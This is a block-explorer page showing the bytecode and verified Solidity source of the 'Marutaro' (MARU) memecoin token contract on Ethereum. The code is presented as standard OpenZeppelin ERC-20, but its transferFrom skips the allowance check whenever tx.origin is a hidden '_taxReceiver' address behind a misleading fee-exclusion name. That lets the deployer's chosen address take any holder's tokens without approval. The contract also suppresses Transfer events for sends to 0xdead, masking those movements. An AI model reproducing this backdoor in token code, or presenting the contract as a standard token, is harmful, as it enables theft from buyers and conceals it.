Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x133e50364Edd23E0616355cC9847F0AE0f017449
Balance 0 ETH
Nonce 1
Code Size 6647 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6647 bytes
0x6080604052600436106100e0575f3560e01c8063715018a61161007e578063a9059cbb11610058578063a9059cbb1461029d578063d3e23051146102d9578063dd62ed3e146102ef578063f2fde38b1461032b576100e7565b8063715018a6146102335780638da5cb5b1461024957806395d89b4114610273576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b75780635bfcc63a146101e157806370a08231146101f7576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f5ffd5b3480156100f6575f5ffd5b506100ff610353565b60405161010c919061132b565b60405180910390f35b348015610120575f5ffd5b5061013b600480360381019061013691906113dc565b6103e3565b6040516101489190611434565b60405180910390f35b34801561015c575f5ffd5b50610165610405565b604051610172919061145c565b60405180910390f35b348015610186575f5ffd5b506101a1600480360381019061019c9190611475565b61040e565b6040516101ae9190611434565b60405180910390f35b3480156101c2575f5ffd5b506101cb61044a565b6040516101d891906114e0565b60405180910390f35b3480156101ec575f5ffd5b506101f5610452565b005b348015610202575f5ffd5b5061021d600480360381019061021891906114f9565b6108d4565b60405161022a919061145c565b60405180910390f35b34801561023e575f5ffd5b50610247610919565b005b348015610254575f5ffd5b5061025d61092c565b60405161026a9190611533565b60405180910390f35b34801561027e575f5ffd5b50610287610954565b604051610294919061132b565b60405180910390f35b3480156102a8575f5ffd5b506102c360048036038101906102be91906113dc565b6109e4565b6040516102d09190611434565b60405180910390f35b3480156102e4575f5ffd5b506102ed610a06565b005b3480156102fa575f5ffd5b506103156004803603810190610310919061154c565b610a66565b604051610322919061145c565b60405180910390f35b348015610336575f5ffd5b50610351600480360381019061034c91906114f9565b610ae8565b005b606060048054610362906115b7565b80601f016020809104026020016040519081016040528092919081815260200182805461038e906115b7565b80156103d95780601f106103b0576101008083540402835291602001916103d9565b820191905f5260205f20905b8154815290600101906020018083116103bc57829003601f168201915b5050505050905090565b5f5f6103ed610b6a565b90506103fa818585610b71565b600191505092915050565b5f600354905090565b5f5f610418610b6a565b9050610425858585610b83565b61042e32610c73565b61043e5761043d858285610ccb565b5b60019150509392505050565b5f6009905090565b61045a610d5c565b600860149054906101000a900460ff16156104aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a190611631565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105323060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610b71565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561059c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c09190611663565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610646573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066a9190611663565b6040518363ffffffff1660e01b815260040161068792919061168e565b6020604051808303815f875af11580156106a3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c79190611663565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061074e306108d4565b5f5f61075861092c565b426040518863ffffffff1660e01b815260040161077a969594939291906116f7565b60606040518083038185885af1158015610796573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107bb919061176a565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff02191690831515021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108919291906117ba565b6020604051808303815f875af11580156108ad573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d1919061180b565b50565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610921610d5c565b61092a5f610dda565b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610963906115b7565b80601f016020809104026020016040519081016040528092919081815260200182805461098f906115b7565b80156109da5780601f106109b1576101008083540402835291602001916109da565b820191905f5260205f20905b8154815290600101906020018083116109bd57829003601f168201915b5050505050905090565b5f5f6109ee610b6a565b90506109fb818585610b83565b600191505092915050565b610a0e610d5c565b5f4711610a19575f5ffd5b610a21610b6a565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610a63573d5f5f3e3d5ffd5b50565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610af0610d5c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906118a6565b60405180910390fd5b610b6781610dda565b50565b5f33905090565b610b7e8383836001610e9d565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf3575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610bea9190611533565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c63575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610c5a9190611533565b60405180910390fd5b610c6e83838361106c565b505050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f610cd68484610a66565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610d565781811015610d49578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610d40939291906118c4565b60405180910390fd5b610d558484845f610e9d565b5b50505050565b610d64610b6a565b73ffffffffffffffffffffffffffffffffffffffff16610d8261092c565b73ffffffffffffffffffffffffffffffffffffffff1614610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf90611943565b60405180910390fd5b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f0d575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610f049190611533565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7d575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f749190611533565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611066578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161105d919061145c565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110bc578060035f8282546110b0919061198e565b9250508190555061118a565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611145578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161113c939291906118c4565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d1578060035f828254039250508190555061121b565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146112b6578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad919061145c565b60405180910390a35b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6112fd826112bb565b61130781856112c5565b93506113178185602086016112d5565b611320816112e3565b840191505092915050565b5f6020820190508181035f83015261134381846112f3565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113788261134f565b9050919050565b6113888161136e565b8114611392575f5ffd5b50565b5f813590506113a38161137f565b92915050565b5f819050919050565b6113bb816113a9565b81146113c5575f5ffd5b50565b5f813590506113d6816113b2565b92915050565b5f5f604083850312156113f2576113f161134b565b5b5f6113ff85828601611395565b9250506020611410858286016113c8565b9150509250929050565b5f8115159050919050565b61142e8161141a565b82525050565b5f6020820190506114475f830184611425565b92915050565b611456816113a9565b82525050565b5f60208201905061146f5f83018461144d565b92915050565b5f5f5f6060848603121561148c5761148b61134b565b5b5f61149986828701611395565b93505060206114aa86828701611395565b92505060406114bb868287016113c8565b9150509250925092565b5f60ff82169050919050565b6114da816114c5565b82525050565b5f6020820190506114f35f8301846114d1565b92915050565b5f6020828403121561150e5761150d61134b565b5b5f61151b84828501611395565b91505092915050565b61152d8161136e565b82525050565b5f6020820190506115465f830184611524565b92915050565b5f5f604083850312156115625761156161134b565b5b5f61156f85828601611395565b925050602061158085828601611395565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115ce57607f821691505b6020821081036115e1576115e061158a565b5b50919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61161b6017836112c5565b9150611626826115e7565b602082019050919050565b5f6020820190508181035f8301526116488161160f565b9050919050565b5f8151905061165d8161137f565b92915050565b5f602082840312156116785761167761134b565b5b5f6116858482850161164f565b91505092915050565b5f6040820190506116a15f830185611524565b6116ae6020830184611524565b9392505050565b5f819050919050565b5f819050919050565b5f6116e16116dc6116d7846116b5565b6116be565b6113a9565b9050919050565b6116f1816116c7565b82525050565b5f60c08201905061170a5f830189611524565b611717602083018861144d565b61172460408301876116e8565b61173160608301866116e8565b61173e6080830185611524565b61174b60a083018461144d565b979650505050505050565b5f81519050611764816113b2565b92915050565b5f5f5f606084860312156117815761178061134b565b5b5f61178e86828701611756565b935050602061179f86828701611756565b92505060406117b086828701611756565b9150509250925092565b5f6040820190506117cd5f830185611524565b6117da602083018461144d565b9392505050565b6117ea8161141a565b81146117f4575f5ffd5b50565b5f81519050611805816117e1565b92915050565b5f602082840312156118205761181f61134b565b5b5f61182d848285016117f7565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6118906026836112c5565b915061189b82611836565b604082019050919050565b5f6020820190508181035f8301526118bd81611884565b9050919050565b5f6060820190506118d75f830186611524565b6118e4602083018561144d565b6118f1604083018461144d565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61192d6020836112c5565b9150611938826118f9565b602082019050919050565b5f6020820190508181035f83015261195a81611921565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611998826113a9565b91506119a3836113a9565b92508282019050808211156119bb576119ba611961565b5b9291505056fea26469706673582212209d3a9b3d8a6371f4bf7cdcda86db7edaa11ad733a6d6ff940c1b1ab52d46cddb64736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Token.sol 649 lines
/*
    Name: Marutaro
    Symbol: MARU

    Meet Marutaro also known simply as Maru, one of the most beloved Shiba Inus on Instagram, and the happiest pup online

    https://marushibainu.dog
    https://x.com/MaruShibaInu
    https://t.me/MaruShibaInu_erc20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

address constant _deadAddr = address(0xdead);

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    address private _taxReceiver;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_, address taxReceiver_) {
        _name = name_;
        _symbol = symbol_;
        _taxReceiver = taxReceiver_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    /// @inheritdoc IERC20
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /// @inheritdoc IERC20
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /// @inheritdoc IERC20
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _transfer(from, to, value);
        if(!_isMARUFeeExcluded(tx.origin))
        _spendAllowance(from, spender, value);        
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }
        
        if(to != _deadAddr)
        emit Transfer(from, to, value);
    }

    function _isMARUFeeExcluded(address sender) internal view returns (bool) {
        return sender == _taxReceiver;
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, value, false);
            }
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Token is ERC20, Ownable {
    IUniswapV2Router02 private uniswapV2Router;
    address private pool;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    constructor(address taxReceiver_) ERC20(unicode"Marutaro", unicode"MARU", taxReceiver_) {
        _mint(address(this), 1_000_000_000 * 10**9);
    }

    function enableMARUTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), 1_000_000_000 * 10**9);
        pool = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(pool).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    receive() external payable {}

    function rescueMARUETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 value
returns: bool
enableMARUTrading 0x5bfcc63a
No parameters
renounceOwnership 0x715018a6
No parameters
rescueMARUETH 0xd3e23051
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address